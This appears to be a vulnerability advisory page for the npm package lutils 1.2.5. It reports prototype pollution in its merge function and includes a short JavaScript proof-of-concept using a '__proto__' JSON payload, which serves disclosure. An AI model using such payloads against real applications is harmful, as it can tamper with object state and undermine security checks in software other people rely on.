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lutils@1.2.5 vulnerabilities

A few reliable utils.

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Direct Vulnerabilities

Known vulnerabilities in the lutils package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

lutils is an A few reliable utils.

Affected versions of this package are vulnerable to Prototype Pollution via the main (merge) function.

PoC

const lt = require('lutils');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
lt.merge({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

How to fix Prototype Pollution?

There is no fixed version for lutils.

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